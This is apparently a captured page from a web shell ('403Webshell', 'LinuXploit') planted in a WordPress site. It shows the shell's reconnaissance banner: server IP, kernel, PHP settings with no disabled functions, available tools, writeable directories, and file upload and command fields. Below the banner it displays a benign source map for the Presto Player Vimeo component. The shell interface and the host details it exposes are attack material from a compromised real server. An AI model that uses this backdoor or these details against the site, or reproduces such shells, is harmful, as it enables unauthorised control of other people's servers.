403Webshell
Server IP : 193.146.211.90  /  Your IP : 10.85.6.55
Web Server : Apache
System : Linux wordpress-gti-69dcdb54f7-n4wdq 6.11.8-arch1-2 #1 SMP PREEMPT_DYNAMIC Fri, 15 Nov 2024 15:35:07 +0000 x86_64
User : 1001 ( 1001)
PHP Version : 8.2.25
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /bitnami/wordpress/wp-content/plugins/presto-player/dist/components/components/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /bitnami/wordpress/wp-content/plugins/presto-player/dist/components/components/presto-vimeo2.js.map
{"file":"presto-vimeo2.js","mappings":";;;AAAA,MAAM,cAAc,GAAG,sBAAsB,CAAC;AAC9C,0BAAe,cAAc;;MCOhB,WAAW;;;;;;;;;IAMtB,KAAK,CAAC,GAAG;QACP,MAAM,MAAM,GAAG,6EAA6E,CAAC;QAC7F,MAAM,QAAQ,GAAG,MAAM,CAAC,IAAI,CAAC,GAAG,IAAI,EAAE,CAAC,CAAC;QACxC,OAAO,CAAA,QAAQ,aAAR,QAAQ,uBAAR,QAAQ,CAAG,CAAC,CAAC,KAAI,EAAE,CAAC;KAC5B;;IAGD,SAAS,CAAC,GAAG;;;;;;;;QAQX,MAAM,KAAK,GAAG,sEAAsE,CAAC;QACrF,MAAM,KAAK,GAAG,GAAG,CAAC,KAAK,CAAC,KAAK,CAAC,CAAC;QAE/B,IAAI,KAAK,EAAE;YACT,OAAO,KAAK,CAAC,MAAM,CAAC,IAAI,CAAC;SAC1B;QAED,OAAO,IAAI,CAAC;KACb;IAED,MAAM;QACJ,IAAI,CAAC,IAAI,CAAC,GAAG,EAAE;YACb,OAAO;SACR;;;;;QAMD,IAAI,gBAAgB,EAAE,EAAE;YACtB,QACE,WAAK,KAAK,EAAC,kCAAkC,IAC3C,cACE,GAAG,EAAE,kCAAkC,IAAI,CAAC,KAAK,CAAC,IAAI,CAAC,GAAG,CAAC,MAAM,IAAI,CAAC,SAAS,CAC7E,IAAI,CAAC,GAAG,CACT,wHAAwH,EACzH,eAAe,QACf,iBAAiB,QACjB,KAAK,EAAC,UAAU,EAChB,KAAK,EAAE,EAAE,KAAK,EAAE,MAAM,EAAE,EACxB,KAAK,EAAC,wBAAwB,GACtB,CACN,EACN;SACH;QAED,QACE,WACE,KAAK,EAAC,mBAAmB,EACzB,IAAI,EAAC,OAAO,EACZ,GAAG,EAAE,IAAI,CAAC,MAAM,wBACG,OAAO,wBACN,IAAI,CAAC,KAAK,CAAC,IAAI,CAAC,GAAG,CAAC,0BAClB,IAAI,CAAC,SAAS,CAAC,IAAI,CAAC,GAAG,CAAC,GACzC,EACP;KACH;;;;;;;;;;;;;;;;;;;;;;;;","names":[],"sources":["src/components/core/providers/presto-vimeo/presto-vimeo.css?tag=presto-vimeo","src/components/core/providers/presto-vimeo/presto-vimeo.tsx"],"sourcesContent":[":host {\n  display: block;\n}\n","import { Component, h, Prop } from '@stencil/core';\nimport { isAndroidWebView } from '../../../../util';\n\n@Component({\n  tag: 'presto-vimeo',\n  styleUrl: 'presto-vimeo.css',\n  shadow: false,\n})\nexport class PrestoVimeo {\n  @Prop() src: string;\n  @Prop() poster: string;\n  @Prop() player: any;\n  @Prop({ mutable: true }) getRef?: (elm?: HTMLIFrameElement) => void;\n\n  getId(url) {\n    const regExp = /^.*(vimeo\\.com\\/)((channels\\/[A-z]+\\/)|(groups\\/[A-z]+\\/videos\\/))?([0-9]+)/;\n    const parseUrl = regExp.exec(url || '');\n    return parseUrl?.[5] || '';\n  }\n\n  // Try to extract a hash for private videos from the URL\n  parseHash(url) {\n    /* This regex matches a hexadecimal hash if given in any of these forms:\n     *  - [https://player.]vimeo.com/video/{id}/{hash}[?params]\n     *  - [https://player.]vimeo.com/video/{id}?h={hash}[&params]\n     *  - [https://player.]vimeo.com/video/{id}?[params]&h={hash}\n     *  - video/{id}/{hash}\n     * If matched, the hash is available in the named group `hash`\n     */\n    const regex = /^.*(?:vimeo.com\\/|video\\/)(?:\\d+)(?:\\?.*\\&*h=|\\/)+(?<hash>[\\d,a-f]+)/;\n    const found = url.match(regex);\n\n    if (found) {\n      return found.groups.hash;\n    }\n\n    return null;\n  }\n\n  render() {\n    if (!this.src) {\n      return;\n    }\n\n    /*\n      Our player is not working on Android WebView.\n      https://github.com/prestomade/presto-player/issues/124\n    */\n    if (isAndroidWebView()) {\n      return (\n        <div class=\"presto-iframe-fallback-container\">\n          <iframe\n            src={`https://player.vimeo.com/video/${this.getId(this.src)}?h=${this.parseHash(\n              this.src,\n            )}&amp;loop=false&amp;byline=false&amp;portrait=false&amp;title=false&amp;speed=true&amp;transparent=0&amp;gesture=media`}\n            allowFullScreen\n            allowTransparency\n            allow=\"autoplay\"\n            style={{ width: '100%' }}\n            class=\"presto-fallback-iframe\"\n          ></iframe>\n        </div>\n      );\n    }\n\n    return (\n      <div\n        class=\"plyr__video-embed\"\n        part=\"embed\"\n        ref={this.getRef}\n        data-plyr-provider=\"vimeo\"\n        data-plyr-embed-id={this.getId(this.src)}\n        data-plyr-embed-hash={this.parseHash(this.src)}\n      ></div>\n    );\n  }\n}\n"],"version":3}

Youez - 2016 - github.com/yon3zu
LinuXploit